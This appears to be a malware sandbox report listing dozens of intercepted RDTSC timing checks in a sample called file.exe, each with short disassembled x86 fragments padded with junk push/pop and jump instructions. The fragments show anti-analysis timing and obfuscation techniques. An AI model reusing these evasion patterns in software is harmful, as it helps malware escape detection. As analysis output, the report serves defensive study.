Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B16616 second address: B1663D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F176910EAD2h 0x00000008 jmp 00007F176910EAC6h 0x0000000d jo 00007F176910EAB6h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1BD29 second address: B1BD7C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1768C9AD3Bh 0x00000008 jmp 00007F1768C9AD35h 0x0000000d push edx 0x0000000e jc 00007F1768C9AD26h 0x00000014 push edi 0x00000015 pop edi 0x00000016 pop edx 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push edi 0x0000001c jmp 00007F1768C9AD2Fh 0x00000021 pop edi 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F1768C9AD35h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1BD7C second address: B1BD80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1BD80 second address: B1BD86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1BD86 second address: B1BD92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F176910EAB6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1BD92 second address: B1BDC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1768C9AD34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1768C9AD39h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1C011 second address: B1C015 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1C015 second address: B1C030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F1768C9AD31h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B978 second address: B1B97C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B97C second address: B1B9C0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1768C9AD26h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007F1768C9AD33h 0x00000014 push eax 0x00000015 pop eax 0x00000016 popad 0x00000017 jmp 00007F1768C9AD39h 0x0000001c popad 0x0000001d push ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B9C0 second address: B1B9C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B9C6 second address: B1B9CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1C967 second address: B1C98C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F176910EAB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 jmp 00007F176910EABEh 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B28D50 second address: B28D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B274EF second address: B274FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnc 00007F176910EAB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B27934 second address: B2793E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1768C9AD26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2793E second address: B2794F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B27D85 second address: B27D8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B27D8B second address: B27D91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B27D91 second address: B27DDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F1768C9AD2Ch 0x00000010 pushad 0x00000011 jmp 00007F1768C9AD32h 0x00000016 jbe 00007F1768C9AD26h 0x0000001c jmp 00007F1768C9AD2Ah 0x00000021 jmp 00007F1768C9AD31h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B27FA1 second address: B27FA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B289EA second address: B28A25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1768C9AD31h 0x00000007 jmp 00007F1768C9AD2Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007F1768C9AD34h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2B7DD second address: B2B7E7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F176910EABEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30016 second address: B3002A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jl 00007F1768C9AD26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F1768C9AD26h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3002A second address: B3002E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3002E second address: B30045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1768C9AD2Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30045 second address: B30065 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176910EAC6h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30065 second address: B3006B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3006B second address: B30084 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176910EAC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30084 second address: B30089 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30306 second address: B3030E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3030E second address: B3034D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007F1768C9AD2Dh 0x0000000e jmp 00007F1768C9AD2Fh 0x00000013 jns 00007F1768C9AD26h 0x00000019 popad 0x0000001a jmp 00007F1768C9AD33h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3034D second address: B30363 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F176910EABFh 0x00000008 pop edi 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30363 second address: B30369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30716 second address: B3071A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3071A second address: B30729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1768C9AD26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30729 second address: B30745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F176910EAC4h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30745 second address: B30755 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F1768C9AD26h 0x0000000a jns 00007F1768C9AD26h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30863 second address: B30869 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30869 second address: B30887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1768C9AD2Dh 0x0000000b pushad 0x0000000c jno 00007F1768C9AD26h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30887 second address: B3088F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B38F1F second address: B38F24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B38F24 second address: B38F36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F176910EAB6h 0x0000000a jns 00007F176910EAB6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37871 second address: B37885 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jno 00007F1768C9AD26h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37885 second address: B37889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37889 second address: B3789E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1768C9AD26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jl 00007F1768C9AD26h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3789E second address: B378A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B378A3 second address: B378A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B380F5 second address: B38105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jbe 00007F176910EAB6h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CE40 second address: B3CE46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CE46 second address: B3CE4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3BFED second address: B3BFF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1768C9AD28h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C446 second address: B3C44A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C85E second address: B3C886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F1768C9AD26h 0x0000000c jne 00007F1768C9AD26h 0x00000012 popad 0x00000013 jmp 00007F1768C9AD35h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C886 second address: B3C890 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C890 second address: B3C89A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1768C9AD26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C9C4 second address: B3C9CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C9CA second address: B3C9E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007F1768C9AD2Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3C9E2 second address: B3C9F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176910EABAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49B30 second address: B49B34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49B34 second address: B49B5D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F176910EAC4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F176910EABBh 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49E21 second address: B49E44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F1768C9AD26h 0x0000000a jmp 00007F1768C9AD2Dh 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jnl 00007F1768C9AD26h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49E44 second address: B49E64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176910EAC6h 0x00000007 ja 00007F176910EAB6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49E64 second address: B49E6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4A56C second address: B4A5A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176910EAC7h 0x00000007 push eax 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebx 0x0000000e jmp 00007F176910EAC4h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4A5A7 second address: B4A5AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4AFC0 second address: B4AFC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4AFC6 second address: B4AFDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1768C9AD30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4AFDF second address: B4AFE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4955F second address: B49563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49563 second address: B49582 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007F176910EAC3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49582 second address: B49588 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B49588 second address: B4958E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4958E second address: B495A1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1768C9AD2Ch 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B51FAD second address: B51FC2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F176910EAB8h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b jo 00007F176910EAB6h 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B51FC2 second address: B51FF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jne 00007F1768C9AD2Ch 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 jmp 00007F1768C9AD2Bh 0x00000018 push edi 0x00000019 pop edi 0x0000001a popad 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DF39 second address: B5DF49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jng 00007F176910EAB6h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DF49 second address: B5DF4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DF4D second address: B5DF51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DF51 second address: B5DF64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F1768C9AD26h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DF64 second address: B5DF75 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F176910EAB6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DF75 second address: B5DF7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E0F5 second address: B5E0FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E0FD second address: B5E101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E101 second address: B5E10B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F176910EAB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E10B second address: B5E126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jg 00007F1768C9AD2Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E126 second address: B5E145 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F176910EAB6h 0x0000000d jmp 00007F176910EAC0h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6351A second address: B63547 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F1768C9AD38h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F1768C9AD2Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6814B second address: B68151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6F63F second address: B6F649 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1768C9AD26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70F14 second address: B70F1A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70DBC second address: B70DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70DC0 second address: B70DC6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70DC6 second address: B70DCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B70DCB second address: B70DD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78D8A second address: B78DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F1768C9AD39h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78DAE second address: B78DB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
